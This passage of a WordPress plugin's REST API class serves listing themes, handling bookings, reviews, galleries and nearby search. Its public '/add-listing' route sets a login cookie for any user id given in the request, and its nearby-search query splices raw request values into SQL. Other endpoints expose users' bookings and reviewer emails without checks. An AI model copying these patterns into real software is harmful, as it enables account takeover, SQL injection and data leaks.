'callback' => array( $this, 'get_rating' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/getReviews/(?P<id>\d+)', array( 'methods' => 'GET', 'callback' => array( $this, 'get_reviews' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/submitReview', array( 'methods' => 'POST', 'callback' => array( $this, 'submitReview' ) , 'args' => array( 'post_author' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , 'post_title' => array() , 'post_content' => array() , 'listing_id' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) , 'rating' => array( 'validate_callback' => function ($param, $request, $key) { return is_numeric($param); } ) ), 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/add-listing', array( 'methods' => 'GET', 'callback' => array( $this, 'add_listing' ) , 'permission_callback' => function () { return true; } )); register_rest_route('wp/v2', '/get-nearby-listings', array( 'methods' => 'GET', 'callback' => array( $this, 'get_nearby_listings' ), 'permission_callback' => function () { return true; } )); } public function get_nearby_listings($request){ $current_lat = $request['lat']; $current_long = $request['long']; $search_location = $request['search_location']; $radius = 100; //in km if(isset($request['radius'])){ $radius = $request['radius']; } $limit = 10; $offset = 0; if(isset($request['per_page'])){ $limit = absint( $request['per_page'] ); } if(isset($request['page'])){ $offset = absint($request['page']); $offset= ($offset -1) * $limit; } $data = array(); global $wpdb; if($this->_isListeo){ $sql = "SELECT p.*, "; $sql .= " (6371 * acos (cos (radians($current_lat)) * cos(radians(t.lat)) * cos(radians(t.lng) - radians($current_long)) + "; $sql .= "sin (radians($current_lat)) * sin(radians(t.lat)))) AS distance FROM (SELECT b.post_id, a.post_status, sum(if("; $sql .= "meta_key = '_geolocation_lat', meta_value, 0)) AS lat, sum(if(meta_key = '_geolocation_long', "; $sql .= "meta_value, 0)) AS lng FROM {$wpdb->prefix}posts a, {$wpdb->prefix}postmeta b WHERE a.id = b.post_id AND ("; $sql .= "b.meta_key='_geolocation_lat' OR b.meta_key='_geolocation_long') AND a.post_status='publish' GROUP BY b.post_id) AS t INNER "; $sql .= "JOIN {$wpdb->prefix}posts as p on (p.ID=t.post_id) HAVING distance < {$radius}"; $posts = $wpdb->get_results($sql); $items = (array)($posts); // return $items; foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; } if( $this->_isMyListing){ $bodyReq = ['proximity_units'=>'km','listing_type'=>'place', 'form_data'=>[ 'page'=>$offset / $limit, 'per_page'=>$limit, 'search_keywords'=>'', 'proximity'=>$radius, 'lat'=>$current_lat, 'lng'=>$current_long, 'category'=>'', 'search_location'=> $search_location ?? '', 'region'=>'', 'tags'=>'', 'sort'=>'nearby' ] ]; $posts = myListingExploreListings($bodyReq); $items = (array)($posts); foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; // $sql = "SELECT p.*, "; // $sql .= " (6371 * acos (cos (radians($current_lat)) * cos(radians(t.lat)) * cos(radians(t.lng) - radians($current_long)) + "; // $sql .= "sin (radians($current_lat)) * sin(radians(t.lat)))) AS distance FROM (SELECT b.post_id, a.post_status, sum(if("; // $sql .= "meta_key = 'geolocation_lat', meta_value, 0)) AS lat, sum(if(meta_key = 'geolocation_long', "; // $sql .= "meta_value, 0)) AS lng FROM {$wpdb->prefix}posts a, {$wpdb->prefix}postmeta b WHERE a.id = b.post_id AND ("; // $sql .= "b.meta_key='geolocation_lat' OR b.meta_key='geolocation_long') AND a.post_status='publish' GROUP BY b.post_id) AS t INNER "; // $sql .= "JOIN {$wpdb->prefix}posts as p on (p.ID=t.post_id) HAVING distance < {$radius}"; // $posts = $wpdb->get_results($sql); // $items = (array)($posts); // // return $items; // foreach ($items as $item): // $itemdata = $this->prepare_item_for_response($item, $request); // $data[] = $this->prepare_response_for_collection($itemdata); // endforeach; } if($this->_isListingPro){ $args = array( 'post_type' => 'listing', 'posts_per_page' => -1, 'paged' => 1, 'post_status' => 'publish' ); $posts = query_posts($args); $items = (array)($posts); foreach ($items as $item): $this_lat = listing_get_metabox_by_ID('latitude',$item->ID); $this_long = listing_get_metabox_by_ID('longitude',$item->ID); if( !empty($this_lat) && !empty($this_long) ){ $calDistance = GetDrivingDistance($current_lat, $this_lat, $current_long, $this_long, 'km'); if(!empty($calDistance['distance'])){ if( $calDistance['distance'] < $radius){ $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); } } } endforeach; } return $data; } // Listeo theme functions public function get_service_slots($object) { $slots = []; if ( isset($object['_slots_status']) && $object['_slots_status'] == 'on') { $slots = json_decode($object['_slots']); } return $slots; } public function get_payment_methods($object) { $cookie = $object['cookie']; if (!isset($cookie)) { return new WP_REST_Response('You are unauthorized to do this', 401); } $user_id = wp_validate_auth_cookie($cookie, 'logged_in'); if (!$user_id) { return new WP_REST_Response('Invalid request', 401); } $payment_methods = WC() ->payment_gateways ->get_available_payment_gateways(); return array_values($payment_methods); } public function check_availability($request) { if (!isset($request['slot'])) { $slot = false; } else { $slot = $request['slot']; } if (isset($request['hour'])) { $data['free_places'] = 1; } else { $data['free_places'] = Listeo_Core_Bookings_Calendar::count_free_places($request['listing_id'], $request['date_start'], $request['date_end'], json_encode($slot)); } $multiply = 1; if (isset($request['adults'])) $multiply = $request['adults']; if (isset($request['tickets'])) $multiply = $request['tickets']; $coupon = (isset($request['coupon'])) ? $request['coupon'] : false; $services = (isset($request['services'])) ? $request['services'] : false; $data['price'] = Listeo_Core_Bookings_Calendar::calculate_price($request['listing_id'], $request['date_start'], $request['date_end'], $multiply, $services, ''); if (!empty($coupon)) { $data['price_discount'] = Listeo_Core_Bookings_Calendar::calculate_price($request['listing_id'], $request['date_start'], $request['date_end'], $multiply, $services, $coupon); } // $_slots = $this->update_slots($request); return $data; } public function get_bookings($request) { $user_id = $request['user_id']; $args = array( 'bookings_author' => $user_id, 'type' => 'reservation' ); $limit = 10; $offset = 0; if (isset($request['per_page']) && isset($request['page'])) { $limit = $request['per_page']; $offset = $request['page']; } $bookings = Listeo_Core_Bookings_Calendar::get_newest_bookings($args, $limit, $offset); $data = []; foreach ($bookings as $booking) { $item = $booking; if (isset($booking['order_id'])) { $order_id = $booking['order_id']; $order = wc_get_order($order_id); $order_data = $order->get_data(); $item['order_status'] = $order_data['status']; } $post_id = $booking['listing_id']; $item['featured_image'] = get_the_post_thumbnail_url($post_id); $item['title'] = get_the_title($post_id); $data[] = $item; } return $data; } public function update_slots($request) { $listing_id = $request['listing_id']; $date_end = $request['date_start']; $date_start = $request['date_end']; $dayofweek = date('w', strtotime($date_start)); $un_slots = get_post_meta($listing_id, '_slots', true); $_slots = Listeo_Core_Bookings_Calendar::get_slots_from_meta($listing_id); if ($dayofweek == 0) { $actual_day = 6; } else { $actual_day = $dayofweek - 1; } $_slots_for_day = $_slots[$actual_day]; $new_slots = array(); if (is_array($_slots_for_day) && !empty($_slots_for_day)) { foreach ($_slots_for_day as $key => $slot) { $places = explode('|', $slot); $free_places = $places[1]; $hours = explode(' - ', $places[0]); $hour_start = date("H:i:s", strtotime($hours[0])); $hour_end = date("H:i:s", strtotime($hours[1])); $date_start = $date_start . ' ' . $hour_start; $date_end = $date_end . ' ' . $hour_end; $result = Listeo_Core_Bookings_Calendar::get_slots_bookings($date_start, $date_end, array( 'listing_id' => $listing_id, 'type' => 'reservation' )); $reservations_amount = count($result); $free_places -= $reservations_amount; if ($free_places > 0) { $new_slots[] = $places[0] . '|' . $free_places; } } } return $new_slots; } static function insert_booking($args) { global $wpdb; $insert_data = array( 'bookings_author' => $args['bookings_author'], 'owner_id' => $args['owner_id'], 'listing_id' => $args['listing_id'], 'date_start' => date("Y-m-d H:i:s", strtotime($args['date_start'])) , 'date_end' => date("Y-m-d H:i:s", strtotime($args['date_end'])) , 'comment' => $args['comment'], 'type' => $args['type'], 'created' => current_time('mysql') ); if (isset($args['order_id'])) $insert_data['order_id'] = $args['order_id']; if (isset($args['expiring'])) $insert_data['expiring'] = $args['expiring']; if (isset($args['status'])) $insert_data['status'] = $args['status']; if (isset($args['price'])) $insert_data['price'] = $args['price']; $wpdb->insert($wpdb->prefix . 'bookings_calendar', $insert_data); return $wpdb->insert_id; } public function booking($object) { $_user_id = $object['user_id']; $user_info = get_user_meta($_user_id); $first_name = $user_info['billing_first_name'][0]; $last_name = $user_info['billing_last_name'][0]; $email = $user_info['billing_email'][0]; $billing_address_1 = (isset($user_info['billing_address_1'][0])) ? $user_info['billing_address_1'][0] : false; $billing_postcode = (isset($user_info['billing_postcode'][0])) ? $user_info['billing_postcode'][0] : false; $billing_city = (isset($user_info['billing_city'][0])) ? $user_info['billing_city'][0] : false; $billing_country = (isset($user_info['billing_country'][0])) ? $user_info['billing_country'][0] : false; $billing_phone = $user_info['billing_phone'][0]; $data = json_decode($object['value']); $date_start = $data->date_start; $date_end = $data->date_end; $adults = $data->adults; $tickets = $data->tickets; $listing_id = $data->listing_id; $slot = $data->slot; $_hour_end = $data->_hour_end; $_hour = $data->_hour; $services = isset($data->services) ? $data->services : false; $comment_services = false; $message = ''; if (!empty($services)) { $currency_abbr = get_option('listeo_currency'); $currency_postion = get_option('listeo_currency_postion'); $currency_symbol = Listeo_Core_Listing::get_currency_symbol($currency_abbr); $comment_services = array(); $bookable_services = listeo_get_bookable_services($listing_id); $firstDay = new DateTime($date_start); $lastDay = new DateTime($date_start . '23:59:59'); $days_between = $lastDay->diff($firstDay)->format("%a"); $days_count = ($days_between == 0) ? 1 : $days_between; //since 1.3 change comment_service to json $countable = array_column($services, 'value'); if (isset($adults)) { $guests = $adults; } else if (isset($tickets)) { $guests = $tickets; } else { $guests = 1; } $i = 0; foreach ($bookable_services as $key => $service) { if (in_array(sanitize_title($service['name']) , array_column($services, 'service'))) { $comment_services[] = array( 'service' => $service, 'guests' => $adults, 'days' => $days_count, 'countable' => $countable[$i], 'price' => listeo_calculate_service_price($service, $adults, $days_count, $countable[$i]) ); $i++; } } } $listing_meta = get_post_meta($listing_id, '', true); $instant_booking = get_post_meta($listing_id, '_instant_booking', true); if (get_transient('listeo_last_booking' . $_user_id) == $listing_id . ' ' . $date_start . ' ' . $date_end) { $message = 'booked'; return $message; } set_transient('listeo_last_booking' . $_user_id, $listing_id . ' ' . $date_start . ' ' . $date_end, 60 * 15); $listing_meta = get_post_meta($listing_id, '', true); $listing_owner = get_post_field('post_author', $listing_id); switch ($listing_meta['_listing_type'][0]) { case 'event': $comment = array( 'first_name' => $first_name, 'last_name' => $last_name, 'email' => $email, 'phone' => $billing_phone, 'message' => $object['message'], 'tickets' => $tickets, 'service' => $comment_services, 'billing_address_1' => $billing_address_1, 'billing_postcode' => $billing_postcode, 'billing_city' => $billing_city, 'billing_country' => $billing_country ); $booking_id = self::insert_booking(array( 'owner_id' => $listing_owner, 'bookings_author' => $_user_id, 'listing_id' => $listing_id, 'date_start' => $date_start, 'date_end' => $date_start, 'comment' => json_encode($comment) , 'type' => 'reservation', 'price' => Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, $tickets, $services, '') , )); $already_sold_tickets = (int)get_post_meta($listing_id, '_event_tickets_sold', true); $sold_now = $already_sold_tickets + $tickets; update_post_meta($listing_id, '_event_tickets_sold', $sold_now); $status = apply_filters('listeo_event_default_status', 'waiting'); if ($instant_booking == 'check_on' || $instant_booking == 'on') { $status = 'confirmed'; } $changed_status = Listeo_Core_Bookings_Calendar::set_booking_status($booking_id, $status); break; case 'rental': // get default status $status = apply_filters('listeo_rental_default_status', 'waiting'); // count free places $free_places = Listeo_Core_Bookings_Calendar::count_free_places($listing_id, $date_start, $date_end); if ($free_places > 0) { $count_per_guest = get_post_meta($listing_id, "_count_per_guest", true); if ($count_per_guest) { $multiply = 1; if (isset($adults)) $multiply = $adults; $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, $multiply, $services, ''); } else { $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, 1, $services, ''); } $booking_id = self::insert_booking(array( 'owner_id' => $listing_owner, 'listing_id' => $listing_id, 'bookings_author' => $_user_id, 'date_start' => $date_start, 'date_end' => $date_end, 'comment' => json_encode(array( 'first_name' => $first_name, 'last_name' => $last_name, 'email' => $email, 'phone' => $billing_phone, 'message' => $object['message'], 'adults' => $adults, 'service' => $comment_services, 'billing_address_1' => $billing_address_1, 'billing_postcode' => $billing_postcode, 'billing_city' => $billing_city, 'billing_country' => $billing_country )) , 'type' => 'reservation', 'price' => $price, )); $status = apply_filters('listeo_event_default_status', 'waiting'); if ($instant_booking == 'check_on' || $instant_booking == 'on') { $status = 'confirmed'; } $changed_status = Listeo_Core_Bookings_Calendar::set_booking_status($booking_id, $status); } else { $message = 'unavailable'; } break; case 'service': $status = apply_filters('listeo_service_default_status', 'waiting'); if ($instant_booking == 'check_on' || $instant_booking == 'on') { $status = 'confirmed'; } if (!isset($slot)) { $count_per_guest = get_post_meta($listing_id, "_count_per_guest", true); if ($count_per_guest) { $multiply = 1; if (isset($adults)) $multiply = $adults; $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, $multiply, $services, ''); } else { $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, 1, $services, ''); } $hour_end = (isset($_hour_end) && !empty($_hour_end)) ? $_hour_end : $_hour; $booking_id = self::insert_booking(array( 'bookings_author' => $_user_id, 'owner_id' => $listing_owner, 'listing_id' => $listing_id, 'date_start' => $date_start . ' ' . $_hour . ':00', 'date_end' => $date_end . ' ' . $hour_end . ':00', 'comment' => json_encode(array( 'first_name' => $first_name, 'last_name' => $last_name, 'email' => $email, 'phone' => $billing_phone, 'adults' => $adults, 'message' => $object['message'], 'service' => $comment_services, 'billing_address_1' => $billing_address_1, 'billing_postcode' => $billing_postcode, 'billing_city' => $billing_city, 'billing_country' => $billing_country )) , 'type' => 'reservation', 'price' => $price, )); $changed_status = Listeo_Core_Bookings_Calendar::set_booking_status($booking_id, $status); } else { $free_places = Listeo_Core_Bookings_Calendar::count_free_places($listing_id, $date_start, $date_end, json_encode($slot)); if ($free_places > 0) { $slot = json_encode($slot); $hours = explode(' - ', $slot[0]); $hour_start = date("H:i:s", strtotime($hours[0])); $hour_end = date("H:i:s", strtotime($hours[1])); $count_per_guest = get_post_meta($listing_id, "_count_per_guest", true); if ($count_per_guest) { $multiply = 1; if (isset($adults)) $multiply = $adults; $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, $multiply, $services, ''); } else { $price = Listeo_Core_Bookings_Calendar::calculate_price($listing_id, $date_start, $date_end, 1, $services, ''); } $booking_id = self::insert_booking(array( 'bookings_author' => $_user_id, 'owner_id' => $listing_owner, 'listing_id' => $listing_id, 'date_start' => $date_start . ' ' . $hour_start, 'date_end' => $date_end . ' ' . $hour_end, 'comment' => json_encode(array( 'first_name' => $first_name, 'last_name' => $last_name, 'email' => $email, 'phone' => $billing_phone, 'adults' => $adults, 'message' => $object['message'], 'service' => $comment_services, 'billing_address_1' => $billing_address_1, 'billing_postcode' => $billing_postcode, 'billing_city' => $billing_city, 'billing_country' => $billing_country )) , 'type' => 'reservation', 'price' => $price, )); $status = apply_filters('listeo_service_slots_default_status', 'waiting'); if ($instant_booking == 'check_on' || $instant_booking == 'on') { $status = 'confirmed'; } $changed_status = Listeo_Core_Bookings_Calendar::set_booking_status($booking_id, $status); } else { $message = 'unavailable'; } } break; } // when we have database problem with statuses if (!isset($changed_status)) { $message = 'error'; } switch ($status) { case 'waiting': $message = 'waiting'; break; case 'confirmed': $message = 'confirmed'; break; case 'cancelled': $message = 'cancelled'; break; } return $message; } public function get_post_gallery_images_listeo($object) { $gallery = get_post_meta($object['id'], '_gallery', true); if ($gallery) { foreach ($gallery as $key => $val) { if ($key) { $getVal = get_post_meta($key, '_wp_attached_file', true); if (!empty($getVal)) { $results[] = get_bloginfo('url') . '/wp-content/uploads/' . $getVal; } }; } } return $results; } // End of Listeo theme functions function _rest_get_address_data( $object ) { //get the Post Id $listing_id = $object['id']; global $wpdb; $sql = "SELECT * FROM {$wpdb->prefix}mylisting_locations WHERE listing_id = '$listing_id'"; //wp_it_job_details is job table $results = $wpdb->get_row($sql); if($results) { return $results->address; } else return ""; //return nothing } function _rest_get_lat_data( $object ) { //get the Post Id $listing_id = $object['id']; global $wpdb; $sql = "SELECT * FROM {$wpdb->prefix}mylisting_locations WHERE listing_id = '$listing_id'"; //wp_it_job_details is job table $results = $wpdb->get_row($sql); if($results) { return $results->lat; } else return ""; //return nothing } function _rest_get_lng_data( $object ) { //get the Post Id $listing_id = $object['id']; global $wpdb; $sql = "SELECT * FROM {$wpdb->prefix}mylisting_locations WHERE listing_id = '$listing_id'"; //wp_it_job_details is job table $results = $wpdb->get_row($sql); if($results) { return $results->lng; } else return ""; //return nothing } // Blog section public function get_blog_image_feature($object) { $image_feature = wp_get_attachment_image_src($object['featured_media']); return is_array($image_feature) && count($image_feature) > 0 ? $image_feature[0] : null; } public function get_blog_author_name($object) { $user = get_userdata($object['author']); return $user->display_name; } //-----------------// public function add_listing($request) { $id = $request['id']; wp_clear_auth_cookie(); wp_set_current_user($id); wp_set_auth_cookie($id, true); header("Location: " . $request['url']); die(); } /* --- - MyListing - ---*/ public function get_job_listing_by_tags($request) { $args = ['post_type' => 'job_listing', 'paged' => $request['page'] ? $request['page'] : 1, 'posts_per_page' => $request['limit'] ? $request['limit'] : 10, ]; if ($request['tag']) { $args['tax_query'][] = array( 'taxonomy' => 'case27_job_listing_tags', 'field' => 'term_id', 'terms' => explode(',', $request['tag']) ); } global $wpdb; $posts = query_posts($args); $data = array(); $items = (array)($posts); // return $items; foreach ($items as $item): $itemdata = $this->prepare_item_for_response($item, $request); $data[] = $this->prepare_response_for_collection($itemdata); endforeach; return new WP_REST_Response($data, 200); } function _rest_get_address_lat_lng_data($object) { //get the Post Id $listing_id = $object['id']; global $wpdb; $sql = "SELECT * FROM {$wpdb->prefix}mylisting_locations WHERE listing_id = '$listing_id'"; //wp_it_job_details is job table $results = $wpdb->get_row($sql); $data = []; if ($results) { $data['address'] = $results->address; $data['lat'] = $results->lat; $data['lng'] = $results->lng; } return $data; } /* --- - ListingPro - ---*/ public function get_post_gallery_images_listingPro($object) { $gallery = get_post_meta($object['id'], 'gallery_image_ids', true); $gallery = explode(',', $gallery); if ($gallery) { foreach ($gallery as $value) { $getVal = get_post_meta($value, '_wp_attached_file', true); if (!empty($getVal)) { $results[] = get_bloginfo('url') . '/wp-content/uploads/' . $getVal; } } } return $results; } /*- --- - Listable - ---- */ public function get_author_meta($object) { $user = get_user_meta($object['post_author']); if ($this->_isListingPro) { $user = get_user_meta($object['author']); $user = $user['first_name'][0]; } return $user; } /* Meta Fields Rest API */ /** * Get term meta images * @param $object * @param $field_name * @param $request * @return mixed */ public function get_term_meta_image($object) { if ($this->_isListable) { $name = 'pix_term_image'; } elseif ($this->_isListify) { $name = 'thumbnail_id'; } elseif ($this->_isListingPro) { $name = 'lp_category_banner'; return get_term_meta($object['id'], $name, true); } elseif ($this->_isListeo) { $name = '_cover'; $image_id = get_term_meta($object['id'], $name, true); return wp_get_attachment_image_src($image_id)[0]; } else { $name = 'image'; } $term_meta_id = get_term_meta($object['id'], $name, true); return get_post_meta($term_meta_id, '_wp_attachment_metadata'); } /** * Get comment rating * @param $object * @param $field_name * @param $request * @return array|bool */ public function get_comments_ratings($object) { $meta_key = $commentKey = 'pixrating'; if ($this->_isListify) { $meta_key = $commentKey = 'rating'; } else if ($this->_isMyListing) { $meta_key = '_case27_ratings'; $commentKey = '_case27_post_rating'; } $post_id = isset($object[0]) ? $object[0] : ''; $decimals = 1; if (empty($post_id)) { $post_id = get_the_ID(); } $comments = get_comments(array( 'post_id' => $post_id, // 'meta_key' => $meta_key, 'status' => 'approve' )); if (empty($comments)) { return false; } $total = 0; foreach ($comments as $comment) { $current_rating = get_comment_meta($comment->comment_ID, $commentKey, true); $total = $total + (double)$current_rating; } $average = $total / count($comments); return ['totalReview' => count($comments) , 'totalRate' => number_format($average, $decimals) ]; } public function get_reviews(WP_REST_Request $request) { $post_id = $request['id']; if (empty($post_id)) { $post_id = get_the_ID(); } $comments = get_comments(array( 'post_id' => $post_id )); $results = []; if ($this->_isMyListing) { $commentKey = '_case27_post_rating'; } else if ($this->_isListeo) { $commentKey = 'listeo-rating'; } foreach ($comments as & $item) { $status = wp_get_comment_status($item->comment_ID); $countRating = get_comment_meta($item->comment_ID, $commentKey, true); $current_rating = get_comment_meta($comment->comment_ID, $commentKey, true); $results[] = ["id" => $item->comment_ID, "rating" => $countRating, "status" => $status, "author_name" => $item->comment_author, "date" => $item->comment_date, "content" => $item->comment_content, "author_email" => $item->comment_author_email]; } return $results; } public function submitReview(WP_REST_Request $request) { if ($this->_isListingPro) { $post_information = array( 'post_author' => $request['post_author'], 'post_title' => $request['post_title'], 'post_content' => $request['post_content'], 'post_type' => 'lp-reviews', 'post_status' => 'publish' ); $postID = wp_insert_post($post_information); listing_set_metabox('rating', (double)$request['rating'], $postID); listing_set_metabox('listing_id', $request['listing_id'], $postID); listingpro_set_listing_ratings($postID, $request['listing_id'], $request['rating'], 'add'); listingpro_total_reviews_add($request['listing_id']); return 'Success'; } return 'Failed'; } /** * Get meta for api * @param $object * @return mixed */ public function get_post_meta_for_api($object) { $post_id = $object['id']; $meta = get_post_meta($post_id); foreach ($meta as $k => $item): $meta[$k] = get_post_meta($post_id, $k, true); endforeach; if($this->_isMyListing){ $meta['_job_description'] = get_the_content($post_id); } return $meta; } /** * Get rating * @param WP_REST_Request $request * @return WP_REST_Response */ public function get_rating(WP_REST_Request $request) { $name = 'pixrating'; if ($this->_isListify) { $name = 'rating'; } elseif ($this->_isMyListing) { $name = '_case27_post_rating'; } $id = $request['id']; $countRating = get_comment_meta($id, $name, true); if ($countRating) { return new WP_REST_Response($countRating, 200); } return new WP_REST_Response(["status" => 404, "message" => "Not Found"], 404); } /** * Get cost for booking * @param $object * @param $field_name * @param $request * @return string|void */ public function get_cost_for_booking($object) { $currency = get_option('woocommerce_currency'); if ($currency) { $product_id = get_post_meta($object['id'], '_products', true); if ($this->_isListable) { $_product = wc_get_product($product_id[0]); if (!$_product) return; return $currency . ' ' . $_product->get_price(); } elseif ($this->_isListify) { $_product = new WC_Product($product_id[0]); return ['currency' => $currency, 'price' => $_product->get_price() , 'merge' => $currency . ' ' . $_product->get_price() ]; } else { $price = get_post_meta($object['id'], '_price-per-day', true); return ['currency' => $currency, 'price' => $price, 'merge' => $currency != 'USD' ? $currency . ' ' . $price : $price . ' ' . $currency]; } } return []; } public function protected_title_format() { return '%s'; } public function prepare_item_for_response($post, $request) { $GLOBALS['post'] = $post; setup_postdata($post); $schema = $this->get_item_schema(); $this->add_additional_fields_schema($schema); // Base fields for every post. $data = array(); // echo "<pre>"; // print_r($post); // echo "</pre>"; // return; if (!empty($schema['properties']['id'])) { $data['id'] = $post->ID; } if (!empty($schema['properties']['date'])) { $data['date'] = $this->prepare_date_response($post->post_date_gmt, $post->post_date); } if (!empty($schema['properties']['date_gmt'])) { // For drafts, `post_date_gmt` may not be set, indicating that the // date of the draft should be updated each time it is saved (see // #38883). In this case, shim the value based on the `post_date` // field with the site's timezone offset applied. if ('0000-00-00 00:00:00' === $post->post_date_gmt) { $post_date_gmt = get_gmt_from_date($post->post_date); } else { $post_date_gmt = $post->post_date_gmt; } $data['date_gmt'] = $this->prepare_date_response($post_date_gmt); } if (!empty($schema['properties']['guid'])) { $data['guid'] = array( /** This filter is documented in wp-includes/post-template.php */ 'rendered' => apply_filters('get_the_guid', $post->guid, $post->ID) , 'raw' => $post->guid, ); } if (!empty($schema['properties']['modified'])) { $data['modified'] = $this->prepare_date_response($post->post_modified_gmt, $post->post_modified); } if (!empty($schema['properties']['modified_gmt'])) { // For drafts, `post_modified_gmt` may not be set (see // `post_date_gmt` comments above). In this case, shim the value // based on the `post_modified` field with the site's timezone // offset applied. if ('0000-00-00 00:00:00' === $post->post_modified_gmt) { $post_modified_gmt = date('Y-m-d H:i:s', strtotime($post->post_modified) - (get_option('gmt_offset') * 3600)); } else { $post_modified_gmt = $post->post_modified_gmt; } $data['modified_gmt'] = $this->prepare_date_response($post_modified_gmt); } if (!empty($schema['properties']['password'])) { $data['password'] = $post->post_password; } if (!empty($post->distance)) { $data['distance'] = $post->distance; } $data['pure_taxonomies'] = $this->get_pure_taxonomies(); $data['listing_data'] = $this->get_post_meta_for_api($data); if (!empty($schema['properties']['slug'])) { $data['slug'] = $post->post_name; } if (!empty($schema['properties']['status'])) { $data['status'] = $post->post_status; } if (!empty($schema['properties']['type'])) { $data['type'] = $post->post_type; } if (!empty($schema['properties']['link'])) { $data['link'] = get_permalink($post->ID); } if (!empty($schema['properties']['title'])) { add_filter('protected_title_format', array( $this, 'protected_title_format' )); $data['title'] = array( 'raw' => $post->post_title, 'rendered' => get_the_title($post->ID) , ); remove_filter('protected_title_format', array( $this, 'protected_title_format' )); } else { // case for this is listing pro $data['title'] = array( 'raw' => $post->post_title, 'rendered' => get_the_title($post->ID) , ); } if ($this->_isListeo) { $gallery = get_post_meta($post->ID, '_gallery', true); if ($gallery) { foreach ($gallery as $key => $val) { if ($key) { $getVal = get_post_meta($key, '_wp_attached_file', true); if (!empty($getVal)) { $results[] = get_bloginfo('url') . '/wp-content/uploads/' . $getVal; } }; } } $data['gallery_images'] = $results; } if($this->_isListingPro){ $gallery = get_post_meta($post->ID, 'gallery_image_ids', true); $gallery = explode(',', $gallery); if ($gallery) { foreach ($gallery as $value) { $getVal = get_post_meta($value, '_wp_attached_file', true); if (!empty($getVal)) { $results[] = get_bloginfo('url') . '/wp-content/uploads/' . $getVal; } } } $data['gallery_images'] = $results; } if ($this->_isMyListing) { if (!empty($schema['properties']['id'])) { $location = $this->_rest_get_address_lat_lng_data($data); $data['newaddress'] = $location['address']; $data['newlat'] = $location['lat']; $data['newlng'] = $location['lng']; } } $has_password_filter = false; if ($this->can_access_password_content($post, $request)) { // Allow access to the post, permissions already checked before. add_filter('post_password_required', '__return_false'); $has_password_filter = true; } if (!empty($schema['properties']['content'])) { $data['content'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => post_password_required($post) ? '' : apply_filters('the_content', $post->post_content) , 'protected' => (bool)$post->post_password, ); } else { // case for this is a listing pro $data['content'] = array( 'raw' => $post->post_content, /** This filter is documented in wp-includes/post-template.php */ 'rendered' => post_password_required($post) ? '' : apply_filters('the_content', $post->post_content) , 'protected' => (bool)$post->post_password, ); } if (!empty($schema['properties']['excerpt'])) { /** This filter is documented in wp-includes/post-template.php */ $excerpt = apply_filters('the_excerpt', apply_filters('get_the_excerpt', $post->post_excerpt, $post)); $data['excerpt'] = array( 'raw' => $post->post_excerpt, 'rendered' => post_password_required($post) ? '' : $excerpt, 'protected' => (bool)$post->post_password, ); } if ($has_password_filter) { // Reset filter. remove_filter('post_password_required', '__return_false'); } if (!empty($schema['properties']['author'])) { $data['author'] = (int)$post->post_author; } $image = wp_get_attachment_image_src((int)get_post_thumbnail_id($post->ID)); $data['featured_image'] = $image[0]; if (!empty($schema['properties']['parent'])) { $data['parent'] = (int)$post->post_parent; } if (!empty($schema['properties']['menu_order'])) { $data['menu_order'] = (int)$post->menu_order; } if (!empty($schema['properties']['comment_status'])) { $data['comment_status'] = $post->comment_status; } if (!empty($schema['properties']['ping_status'])) { $data['ping_status'] = $post->ping_status; } if (!empty($schema['properties']['sticky'])) { $data['sticky'] = is_sticky($post->ID); } if (!empty($schema['properties']['template'])) { if ($template = get_page_template_slug($post->ID)) { $data['template'] = $template; } else { $data['template'] = ''; } } if (!empty($schema['properties']['format'])) { $data['format'] = get_post_format($post->ID); // Fill in blank post format. if (empty($data['format'])) { $data['format'] = 'standard'; } } if (!empty($schema['properties']['meta'])) { $data['meta'] = $this ->meta ->get_value($post->ID, $request); } $taxonomies = wp_list_filter(get_object_taxonomies($this->post_type, 'objects') , array( 'show_in_rest' => true )); foreach ($taxonomies as $taxonomy) { $base = !empty($taxonomy->rest_base) ? $taxonomy->rest_base : $taxonomy->name; if (!empty($schema['properties'][$base])) { $terms = get_the_terms($post, $taxonomy->name); $data[$base] = $terms ? array_values(wp_list_pluck($terms, 'term_id')) : array(); } } $context = !empty($request['context']) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object($data, $request); $data = $this->filter_response_by_context($data, $context); // Wrap the data in a response object. $response = rest_ensure_response($data); $response->add_links($this->prepare_links($post)); /** * Filters the post data for a response. * * The dynamic portion of the hook name, `$this->post_type`, refers to the post type slug. * * @since 4.7.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Post object. * @param WP_REST_Request $request Request object. */ return apply_filters("rest_prepare_job_listing", $response, $post, $request); } public function get_pure_taxonomies() { $return = array(); // Get categories $post_categories = wp_get_post_categories($object['id']); foreach ($post_categories as $category) { $return['categories'][] = get_category($category); } // Get tags $post_tags = wp_get_post_tags($object['id']); if (!empty($post_tags)) { $return['tags'] = $post_tags; } // Get taxonomies $args = array( 'public' => true, '_builtin' => false ); $output = 'names'; // or objects $operator = 'and'; // 'and' or 'or' $taxonomies = get_taxonomies($args, $output, $operator); foreach ($taxonomies as $key => $taxonomy_name) { $post_taxonomies = get_the_terms($object['id'], $taxonomy_name); if (is_array($post_taxonomies)) { foreach ($post_taxonomies as $key2 => $post_taxonomy) { $return[$taxonomy_name][] = get_term($post_taxonomy, $taxonomy_name); } } } return $return; } /** * Prepare a response for inserting into a collection. * * @param WP_REST_Response $response Response object. * @return array Response data, ready for insertion into collection data. */ public function prepare_response_for_collection($response) { if (!($response instanceof 